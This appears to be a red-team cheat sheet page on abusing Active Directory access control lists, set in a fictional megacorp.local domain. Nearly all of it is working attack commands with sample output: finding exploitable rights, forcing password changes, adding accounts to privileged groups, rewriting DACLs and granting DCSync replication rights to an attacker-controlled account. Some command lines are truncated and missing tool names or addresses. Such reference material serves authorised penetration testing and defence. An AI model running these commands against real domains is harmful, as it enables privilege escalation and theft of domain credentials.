ACL Abuse

Access Control Lists


Some AD object security permissions abusable with PowerView / SharpView:

  • ForceChangePassword abused with Set-DomainUserPassword

  • AddMembers abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember


From Linux with further recovery:

$ net rpc password j.doe 'NewPassw0rd!' -U megacorp.local/snovvcrash%'Passw0rd!' -S
$ -hashes :5fe2a4a4f217609a8e063620954d502a megacorp.local/j.doe@ -newhashes :fc525c9683e8fe067095ba2ddc971889 -altuser MEGACORP/administrator -althash ce2aa0a2629f80107e8ad6ad6c4f94a3 -admin
$ megacorp.local/j.doe:'NewPassw0rd!'@DC01.megacorp.local -newhashes :fc525c9683e8fe067095ba2ddc971889 -altuser MEGACORP/administrator -k -no-pass -dc-ip -reset


Let's say that the ACE on object A applies to object B. This grants or denies object B access to object A with the specified access rights.

ACE example in SDDL format:



Access rights:

Ace Sid:

Hunt for ACLs


Enumerate ACLs which snovvcrash user possesses against j.doe user:

PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.IdentityReference -eq "MEGACORP\snovvcrash"}

Enumerate which users possess GenericAll or AllExtendedRights permission against j.doe user:

PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.ActiveDirectoryRights -match "GenericAll|AllExtendedRights"} | select IdentityReference,ActiveDirectoryRights -Unique | ft -W

PowerView analog + excluding 3-digit RIDs:

PV3 > Get-DomainObjectAcl -Identity j.doe -Domain megacorp.local -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|AllExtendedRights" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}"} | select SecurityIdentifier | sort -Property SecurityIdentifier -Unique

Find all users who can DCSync and convert their SIDs to names:

PV3 > $dcsync = Get-ObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync


Search for interesting ACLs:

PV2 > Invoke-ACLScanner -ResolveGUIDs

Check if the attacker "MEGACORP\sbauer" has GenericWrite permissions on the "jorden" user object:

PV2 > Get-ObjectAcl -samAccountName jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "*GenericWrite*" -and $_.IdentityReference -eq "MEGACORP\sbauer"}

InheritedObjectType   : All
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL  <== Victim (jorden)
ObjectType            : All
IdentityReference     : MEGACORP\sbauer  <== Attacker (sbauer)
IsInherited           : False
ActiveDirectoryRights : GenericWrite
PropagationFlags      : None
ObjectFlags           : None
InheritanceFlags      : ContainerInherit
InheritanceType       : All
AccessControlType     : Allow
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110


Search for interesting ACLs:

PV3 > Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceClass -match "user"}

Check if the attacker "MEGACORP\sbauer" (S-1-5-21-3167813660-1240564177-918740779-3102) has GenericWrite permissions on the "jorden" user object:

PV3 > Get-DomainObjectAcl -Identity jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "*GenericWrite*" -and $_.SecurityIdentifier -eq "S-1-5-21-3167813660-1240564177-918740779-3102"}

AceType               : AccessAllowed
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110  <== Victim (jorden)
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-3102  <== Attacker (sbauer)
AccessMask            : 131112
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

The -ResolveGUIDs switch shows ObjectType and InheritedObjectType properties in a human readable form (not in GUIDs).

PowerView 3.0 does not return IdentityReference property, which makes it less handy for this task (however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can use the following loop:

PV3 > Get-DomainObjectAcl -Identity snovvcrash -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}

Abuse GenericAll

Find domain users that current user has GenericAll access right to:

PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} ? {$_.ActiveDirectoryRights -like "*GenericAll*"}

The attacker can change password of discovered users:

Cmd > net user snovvcrash Passw0rd! /domain

Find domain groups that current user has GenericAll access right to:

PV3 > Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} ? {$_.ActiveDirectoryRights -like "*GenericAll*"}

The attacker can add users to discovered groups:

Cmd > net group "IT Desk" snovvcrash /add /domain

Enable/disable AD account remotely via ldap_shell:

$ python3 -m ldap_shell -k -no-pass megacorp.local/snovvcrash -dc-ip -dc-host DC01
snovvcrash# enable_account j.doe
snovvcrash# disable_account j.doe

Abuse WriteDACL

Find domain groups that current user has WriteDACL access right to:

PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} | ? {$_.ActiveDirectoryRights -like "*WriteDacl*"}

The attacker can take the full control of discovered groups and then add a users to them:

PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain -Rights All -Verbose
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose

Group membership will take its sweet time to be updated within target user's TGT. To force the update one may purge existing tickets and request new TGT:

Cmd > klist purge
Cmd > gpupdate /force
Cmd > dir \\dc1.megacorp.local\c$

Exchange Windows Permissions

Privilege escalation with ACLs in AD by example of the Exchange Windows Permissions domain group.

Add user to the Exchange Windows Permissions group:

PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash

Add DCSync Rights


$ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp neo4j --server -u snovvcrash -p 'Passw0rd!' -sp 'Passw0rd!'

Using Impacket

PS > IWR -UseDefaultCredentials
$ -t ldap://DC01.megacorp.local --escalate-user snovvcrash --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs

Using Impacket

$ megacorp.local/snovvcrash:'Passw0rd!' -action write -rights DCSync -principal snovvcrash -target-dn 'DC=megacorp,DC=local' -dc-ip

Using PowerView2:

PV2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash -Rights DCSync -Verbose

Using PowerView3:

PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))
PV3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash -Credential $cred -Rights DCSync -Verbose

Using PowerShell ActiveDirectory:

  1. Get ACL for the root domain object.

  2. Get SID for the account to be given DCSync rights.

  3. Create a new ACL and within it set "Replicating Directory Changes" (GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) and "Replicating Directory Changes All" (GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) rights for the SID from (2).

  4. Apply changes.

PS > Import-Module ActiveDirectory
PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID
PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
PS > $identity = [System.Security.Principal.IdentityReference] $sid
PS > $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
PS > $type = [System.Security.AccessControl.AccessControlType] "Allow"
PS > $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"

Using ADSI and dsacls.exe:

PS > $dse = [ADSI]"LDAP://Rootdse"
PS > $namingContext = $dse.defaultNamingContext
PS > dsacls.exe $namingContext /G snovvcrash":CA;Replicating Directory Changes All" snovvcrash":CA;Replicating Directory Changes"

Clean up:

PV3 > Remove-DomainObjectAcl -TargetIdentity megacorp.local -PrincipalIdentity snovvcrash -Rights DCSync

Managed Security Groups

Returns all security groups in the current (or target) domain that have a manager set:

PV3 > Get-DomainManagedSecurityGroup

GroupName                : Security Operations
GroupDistinguishedName   : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ManagerName              : john.doe
ManagerDistinguishedName : CN=John Doe,OU=Security,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL
ManagerType              : User
ManagerCanWrite          : UNKNOWN

Enumerate the ACLs set on this group. GenericWrite privilege means that the user can modify group membership:

PV3 > $sid = ConvertTo-SID john.doe
PV3 > Get-DomainObjectAcl -Identity 'Security Operations' | ? {$_.SecurityIdentifier -eq $sid}

ObjectDN              : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-2549
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 131132
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-1874
AceType               : AccessAllowed
AceFlags              : ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None
AuditFlags            : None



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